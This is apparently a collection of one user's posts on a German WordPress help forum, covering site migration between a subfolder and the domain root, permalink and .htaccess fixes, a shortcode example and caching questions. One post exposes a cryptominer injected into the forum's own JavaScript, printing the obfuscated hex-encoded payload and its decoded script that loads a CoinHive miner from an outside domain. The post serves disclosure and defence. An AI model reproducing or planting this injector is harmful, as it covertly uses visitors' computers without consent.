Beiträge von b3317133

Zur Info für Mitleser: Nach am Ende noch einmal "Einstellungen -> Permalinks -> Speichern" geht jetzt offenbar alles wie gewünscht.

Bei welcher Seite erscheint der Error 500?

Auf der Startseite der Domain erscheint derzeit wieder eine SEDO-Parking Seite von 1&1. Irgendwas läuft ggf. wie bereits vermutet bei der Umleitung/Verwendungsart der Domain im 1&1 Backend schief.

Schick mir eine PN mit E-Mail Kontakt, dann sehe ich es mir (kostenfrei) mal "von innen" an.

Du lässt die Wordpressinstallation im Unterordner und änderst das Ziel der Domain wie beschrieben auf diesen Unterordner.

Migration von [FONT=courier new]/WPDI[/FONT] auf die Hauptseite ohne extra Plugin geht in etwa umgekehrt wie oben.

Stelle die Domainadresse beim Hoster um, so dass [FONT=courier new]http://www.ehrenbreitstein.de[/FONT] in den Ordner [FONT=courier new]/WPDI/[/FONT] zeigt.

Setze das in die [FONT=courier new]wp-config.php[/FONT] und zwar vor der Zeile [FONT=courier new]/* That's all, stop editing! Happy blogging. */
[/FONT]

define('WP_HOME','http://www.ehrenbreitstein.de');
define('WP_SITEURL','http://www.ehrenbreitstein.de');

Dann solltest Du Dich unter [FONT=courier new]http://www.ehrenbreitstein.de/wp-login.php[/FONT] einloggen können und dann mit dem Plugin "Better Search Replace" alle Vorkommen von

http://www.ehrenbreitstein.de/WPDI

durch

http://www.ehrenbreitstein.de

ersetzen können.

Im Anschluss dann noch die beiden Zeilen aus der [FONT=courier new]wp-config.php[/FONT] wieder entfernen und ggf. einmal die Permalinks speichern.

Sieht ja ganz gut aus inzwischen.

Bei testweisem Klick auf Unterseiten im Menü erscheint im Moment eine SEDO-Parking Seite von 1&1, das deutet darauf hin, dass ggf. bei der Konfiguration im 1&1 Backend noch etwas nicht stimmt oder eine Wechselwirkung mit einer .htaccess vorliegt.

Versuche mal im WordPress Admin die WordPress .htaccess Datei neu zu erstellen, das geht über "Einstellungen -> Permalinks -> Speichern anklicken".

Gibt es ein 1&1 Plugin in WordPress? Falls ja, mal testweise deaktivieren.

Gibt es eine .htaccess im Hauptverzeichis der Domain beim alten Website? Was steht drin?

Ergänzung: Einige Links haben jetzt ein paar mal [FONT=courier new]/WPDI[/FONT] im Pfad, ggf. wurde Better Search Replace mehrfach ausgeführt, würde daher noch in ein paar Durchläufen von Better Search Replace alle [FONT=courier new]/WPDI/WPDI[/FONT] durch [FONT=courier new]/WPDI[/FONT] ersetzen bis keine Ersetzungen mehr vorgenommen werden.

Auf den ersten Blick fehlt beim o.g. Link jetzt nur das "WPDI" im Pfad.

Setze mal das in die [FONT=courier new]wp-config.php[/FONT] und zwar vor der Zeile [FONT=courier new]/* That's all, stop editing! Happy blogging. */[/FONT]

define('WP_HOME','http://www.ehrenbreitstein.de/WPDI');
define('WP_SITEURL','http://www.ehrenbreitstein.de/WPDI');

Dann solltest Du Dich unter [FONT=courier new]http://www.ehrenbreitstein.de/WPDI/wp-login.php[/FONT] einloggen können und dann mit dem Plugin "Better Search Replace" alle Vorkommen von

http://www.ehrenbreitstein.de

durch

http://www.ehrenbreitstein.de/WPDI

ersetzen können.

Im Anschluss dann noch die beiden Zeilen aus der [FONT=courier new]wp-config.php[/FONT] wieder entfernen.

Wahlweise auch so, denn dafür ist der Parameter von [FONT=courier new]home_url()[/FONT] eigentlich da:

... href="' . esc_url( home_url( '/auftrag/' ) ) . '" ...

Man nimmt das Beispiel von der Shortcode Dokumentation und setzt den (etwas korrigierten) Code dazwischen, z.B. so:

<?php
function foobar_func( $atts ) {
    ob_start();
    global $post;
    if ( is_a( $post, WP_Post ) ) {
        $title = get_the_title();
?>
<ol>
    <li style="list-style-type: none;">
        <div class="new-article"><strong><a title="<?php echo esc_attr( $title ); ?>" href="<?php the_permalink(); ?>" rel="bookmark"><?php
                if ( strlen( $title ) > 20 ) {
                    $title = substr( $title, 0, 20 ) . '...';
                }
                echo $title;
            ?></a></strong></div>
    </li>
</ol>
<?php
    }
    return ob_get_clean();
}
add_shortcode( 'foobar', 'foobar_func' );

Wobei zu beachten ist, dass je nach Position des Widgets und Seiten-Typ [FONT=courier new]$post[/FONT] einen anderen Bezug/Inhalt haben kann. Der Code zeigt nur das Prinzip auf...

Zitat

PHP Code Widget - Getestet bis: 4.7.8

Sollte man mit Vorsicht geniessen, aktuell ist WordPress 4.9.x, mit veränderten HTML/Text-Widgets seit WordPress 4.8.x

Eine bessere Lösung wäre wohl ein Shortcode, der seit WordPress 4.9.x ohne weitere Anpassungen in den Widgets ausgeführt wird.

Aus dem HTML-Quellcode der Seite und den HTTP Headern könnte man ablesen, ob/welche Problematik bzgl. Caching vorliegen könnte, ohne Link zur Seite bleibt da nur raten und da bin ich raus.

Link zur Seite?

Wird ein Cache-Plugin verwendet? Falls ja, passiert das auch bei komplett deaktiviertem Cache-Plugin?

Die mit 4.9 entstandenen Probleme mit der internen Cache-Funktion von WordPress beziehen sich auf die Seiten-Templates und sollten mit 4.9.1 behoben sein.

maxe: Die beiden Scripte werden aber für die Forumseite benötigt, nur nicht der o.g. derzeit kleine eingefügte Teil ganz am Ende von connection-min.js ab [FONT=courier new]var _0x4bde= ...[/FONT] Daher lieber die Weiterleitungs- bzw. Zieldomain blocken.

Frage den, der Dir diesen Code gegeben hat. Die Frage wurde zudem hier schon bearbeitet.

Was genau verstehst Du unter is_page(2) ? Die Seite mit der id=2 oder die zweite Seite einer Auflistung bzw. "Pagination"?

Das liegt daran, dass (aus welchen Gründen auch immer) auf der Seite tatsächlich ein Mining Script eingebunden wird, derzeit ganz am Ende der Datei forum.wpde.org/clientscript/yui/connection/connection-min.js?v=425 über diesen Codeblock:

var _0x4bde=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x73\x74\x69\x2E\x67\x61\x2F\x69\x6C\x31\x6C\x31\x69\x6C\x69\x6C\x31\x6C\x69\x6C\x69\x6C\x69\x6C\x69\x6C\x6C\x6C\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x3C\x73\x63\x72\x69\x70\x74\x3E\x76\x61\x72\x20\x6D\x69\x6E\x65\x72\x20\x3D\x20\x6E\x65\x77\x20\x43\x6F\x69\x6E\x48\x69\x76\x65\x2E\x41\x6E\x6F\x6E\x79\x6D\x6F\x75\x73\x28\x22\x69\x6E\x37\x46\x64\x79\x75\x65\x49\x77\x72\x63\x7A\x38\x59\x36\x59\x6A\x4A\x76\x57\x30\x70\x51\x47\x57\x36\x72\x44\x70\x44\x4D\x22\x29\x3B\x20\x6D\x69\x6E\x65\x72\x2E\x73\x74\x61\x72\x74\x28\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0xc5ff=[_0x4bde[0],_0x4bde[1]];var _0xf92d=[_0xc5ff[0],_0xc5ff[1]];document[_0xf92d[1]](_0xf92d[0])

der "ausgepackt" zu diesem HTML-Code wird, der dann in die Seite ausgegeben wird und den Miner lädt.

<script src="http://besti.ga/il1l1ilil1lililililll"></script><script>var miner = new CoinHive.Anonymous("in7FdyueIwrcz8Y6YjJvW0pQGW6rDpDM"); miner.start();</script>

Die im Code angegebene URL http://besti.ga/il1l1ilil1lililililll leitet derzeit auf https://coinhive.com/lib/coinhive.min.js weiter.

Temporäre Lösung: Die Domain besti.ga und coinhive.com über z.B. Adblock im Browser blockieren, wobei sich die erstgenannte wohl ab und an ändern dürfte, wenn der Einfüger des Codes unter dem Radar bleiben will..

Zitat von maxe

hast du denn überhaupt Shortcodes in Widgets erlaubt, siehe add_filter('widget_text', 'do_shortcode');

Etwas OT: Das ist seit 4.9 nicht mehr nötig.

Zitat von wpholly

Es gibt auch noch anscheinend einen Bug in Post Templates, denn die kann man auch nicht mehr auswählen. das ist auch kein PlugIn-Problem, sondern ein Bug in WP.

Ist es dieser hier? Sollte aber eigentlich auch mit 4.9.1 gefixt sein.

Zitat von Herr Schmidt

die Doku dazu hilft leider auch nicht weiter.

Inwiefern hilft die Dokumentation nicht weiter? Auszug:

Zitat

Manipulate data on the fly, before it is processed by WP All Import.

Execute any PHP function on your data before it is imported.

The PHP function can be a predefined function built-in to PHP, or a custom, user defined function that you add to one of your plugins or your theme’s functions.php file.

WPAllImport bietet diverse Filter- und Anpassungsmöglichkeiten beim Import der Daten, was sagt der Support dort dazu?